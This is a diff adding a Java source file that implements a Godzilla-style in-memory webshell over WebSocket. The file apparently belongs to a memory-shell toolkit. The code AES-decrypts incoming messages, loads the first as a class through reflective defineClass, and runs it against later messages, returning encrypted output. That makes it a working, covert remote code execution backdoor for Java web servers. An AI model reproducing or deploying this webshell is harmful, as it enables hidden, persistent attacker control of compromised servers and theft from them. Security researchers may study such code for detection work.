|
| 1 | +package com.reajason.javaweb.memshell.shelltool.godzilla; |
| 2 | + |
| 3 | +import javax.crypto.Cipher; |
| 4 | +import javax.crypto.spec.SecretKeySpec; |
| 5 | +import javax.websocket.Endpoint; |
| 6 | +import javax.websocket.EndpointConfig; |
| 7 | +import javax.websocket.MessageHandler; |
| 8 | +import javax.websocket.Session; |
| 9 | +import java.lang.reflect.Method; |
| 10 | +import java.net.URL; |
| 11 | +import java.net.URLClassLoader; |
| 12 | +import java.nio.ByteBuffer; |
| 13 | + |
| 14 | +/** |
| 15 | + * @author ReaJason |
| 16 | + * @since 2025/5/9 |
| 17 | + */ |
| 18 | +public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> { |
| 19 | + public static String key; |
| 20 | + |
| 21 | + private Session session; |
| 22 | + private Class<?> payload; |
| 23 | + |
| 24 | + public Class<?> Q(byte[] classBytes) throws Throwable { |
| 25 | + URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); |
| 26 | + Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); |
| 27 | + defMethod.setAccessible(true); |
| 28 | + return (Class<?>) defMethod.invoke(urlClassLoader, classBytes, 0, classBytes.length); |
| 29 | + } |
| 30 | + |
| 31 | + public byte[] x(byte[] s, boolean m) { |
| 32 | + try { |
| 33 | + Cipher c = Cipher.getInstance("AES"); |
| 34 | + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); |
| 35 | + return c.doFinal(s); |
| 36 | + } catch (Exception var4) { |
| 37 | + return null; |
| 38 | + } |
| 39 | + } |
| 40 | + |
| 41 | + @Override |
| 42 | + public void onOpen(final Session session, EndpointConfig config) { |
| 43 | + this.session = session; |
| 44 | + session.addMessageHandler(this); |
| 45 | + } |
| 46 | + |
| 47 | + @Override |
| 48 | + public void onMessage(ByteBuffer byteBuffer) { |
| 49 | + try { |
| 50 | + byte[] data = byteBuffer.array(); |
| 51 | + data = x(data, false); |
| 52 | + byte[] response = new byte[0]; |
| 53 | + if (payload == null) { |
| 54 | + payload = Q(data); |
| 55 | + } else { |
| 56 | + java.io.ByteArrayOutputStream bos = new java.io.ByteArrayOutputStream(); |
| 57 | + Object obj = payload.newInstance(); |
| 58 | + obj.equals(data); |
| 59 | + obj.equals(bos); |
| 60 | + obj.toString(); |
| 61 | + response = bos.toByteArray(); |
| 62 | + } |
| 63 | + session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(response, true))); |
| 64 | + } catch (Throwable e) { |
| 65 | + e.printStackTrace(); |
| 66 | + try { |
| 67 | + session.close(); |
| 68 | + } catch (java.io.IOException ignored) { |
| 69 | + } |
| 70 | + } |
| 71 | + } |
| 72 | +} |
0 commit comments